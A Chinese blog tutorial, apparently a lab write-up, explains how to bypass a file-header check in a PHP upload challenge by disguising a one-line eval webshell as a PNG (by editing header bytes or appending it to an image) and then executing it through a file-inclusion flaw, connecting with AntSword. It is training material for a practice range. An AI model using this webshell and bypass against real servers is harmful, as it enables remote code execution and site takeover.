用户在使用本文信息时,应自行承担风险。本文不对用户因使用本文信息而导致的任何直接或间接损失承担责任。——鲁迅
知识补给库
学习内容:文件上传漏洞与文件包含漏洞的综合利用
常见的图片标识
JPEG/JFIF
(常见的照片格式):前两个字节为0xFF
、0xD8
PNG
(无损压缩格式):前两个字节为0x89
、0x50
GIF
(支持动画的图像格式):前两个字节为0x47
、0x49
BMP
(Windows
位图格式):前两个字节为0x42
、0x4D
TIFF
(标签图像文件格式):前两个字节可以是不同的值
PHP函数
unpack()函数
unpack
函数用于将二进制字符串解包为 PHP 数组。@
符号在这里的作用是抑制可能产生的警告或错误
- 如果
$bin
的长度小于 2 个字节,unpack
会返回一个包含部分数据的数组,或者可能产生警告(被@
抑制)
$bin = "\xFF\xD8"; // 两个十六进制的数
$result = @unpack("C2chars", $bin);
print_r($result);
第一个参数:C2chars
C
表示无符号字符(unsigned char),每个字符占用 1 个字节2
表示读取 2 个这样的字符chars
是数组键的名称,用于标识解包后的数据
第二个参数:$bin
是需要解包的二进制字符串
intval()函数
intval()
函数用于将一个变量转换为整数(integer)。它是一个类型强制函数,可以将非整数类型的值转换为整数类型。
$bin = "\xFF\xD8"; // 两个十六进制的数
$result = @unpack("C2chars", $bin);
print_r($result);
$typeCode = intval($result['chars1'].$result['chars2']);
echo $typeCode;
这段代码就是将数组中的内容转为整数,拼接到一起。
代码审计
打开第14关的源代码,先来看一下主题代码,如下图所示
$temp_file
记录上传文件的临时保存位置$file_type
记录了上传文件的类型,也是getReailFileType($temp_file)
的返回值。getReailFileType()
函数是靶场作者写的函数,在下面进行分析if($file_type == 'unknown')
如果上传文件的类型为unknow
,则文件上传失败;否则就上传成功
接下来分析一下getReailFileType()
函数的作用,代码如下
- 参数
$filename
就是代表上传的文件 $file = fopen($filename, "rb");
表示打开上传的文件,r
为read
,表示读取;b
为binary
,表示二进制。rb
表示以二进制的形式进行读取操作。$bin = fread($file, 2);
表示将上传文件的前两个字节保存到$bin
中fclose($file);
表示读取完成后关闭文件$strInfo = @unpack("C2chars", $bin);
中@unpack("C2chars", $bin)
将二进制字符串$bin
按照指定的格式(C2chars
)解析为一个数组$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
中的intval()
是将数组$strInfo
中的内容转化为整数并拼接到一起- 最后使用
switch()
进行判断,是否为jpg
、png
、gif
中的一种- 如果上传的文件的前两个字节不属于这三种,则返回
unknown
- 如果上传的文件的前两个字节不属于这三种,则返回
小结:这段代码是获取上传文件的前两个字节与jpg
(0xFF0xD8
)、png
(0x890x50
)、gif
(0x470x49
)进行比较,如果相同则允许上传,不同则不允许上传。
靶场实战
思路
这个关卡可以使用两种方式
- 修改文件头+文件包含漏洞
- 使用图片马+文件包含漏洞
修改文件头
推荐两款工具:010Editor
与ImHex
。010Editor
是收费的,ImHex
是开源的,可以在github
上下载到。我之前的文章也有写过这款工具。
创建一句话木马文件muma.php
,内容如下:
aa<?php @eval($_POST['x']); ?>
这里使用010 Editor
修改文件头。可以看到文件以6161
开头,这就是上面代码中起始位置的aa
,需要把这两个字符改为png
文件的前两个字符8950
- 这就是一句话木马中以
aa
开头的原因,用于修改文件头,而不影响一句话木马
将鼠标定位到修改的内容处,直接输入修改的内容即可更改。更改完成后记得保存。
制作图片马
准备一张图片和一句话木马文件,使用命令:copy a.png/b+muma.php muma.png
这个方法在第四关讲过,这里不再赘述。可以参考这个系列的第五篇文章。
靶场测试
打开靶场第十四关,上传修改了文件头的一句话木马文件muma1.php
- 也可以上传图片马,成功后使用文件包含同样可以成功。
点击上传按钮后,看到文件上传成功
打开木马文件的保存位置,发现木马文件被服务器以png
格式进行保存
使用蚁剑肯定是不可能连接成功的。这里可以试一下。
文件包含
重点放在前面:PHP
进行文件包含时,包含进来的文件,无论是什么类型的文件,均当作PHP
代码文件进行解析
在靶场第十四关的提示中,看到有文件包含漏洞的字样
接下来,点开文件包含漏洞来看一下,点开后给出如下代码
这段代码的含义是:通过GET
方法接收上传的文件,如果文件存在便使用include
对文件进行文件包含操作。
- 文件包含特点:任何类型的文件均当作
PHP
代码文件进行解析。
利用文件包含读取上传的木马文件
前面上传的木马文件的保存位置为:upload/2320250310162335.png
利用文件包含读取上传的木马文件,为file
传值,完整URL
如下:
http://127.0.0.1/upload/include.php?file=./upload/2320250310162335.png
使用./upload/2320250310162335.png
中的./
代表当前目录
- 上传文件的保存位置与文件包含漏洞的代码位于同一级目录,因此使用
./
访问上面的URL
,看到木马文件上传成功,使用蚁剑连接这个URL
使用蚁剑连接,可以成功连接
小结
修改文件头,将php
文件的文件头修改为图片的文件头,从而实现上传成功。
然后利用文件包含漏洞的特性,将上传的图片文件当作PHP
文件进行解析。
无情的广告时间
哈哈哈哈,又到了大家喜欢的广告时间了,公众号:编码魔坊
,喜欢的话给个关注呗,点击下方小卡片,扫码即可关注,谢谢您的关注!!!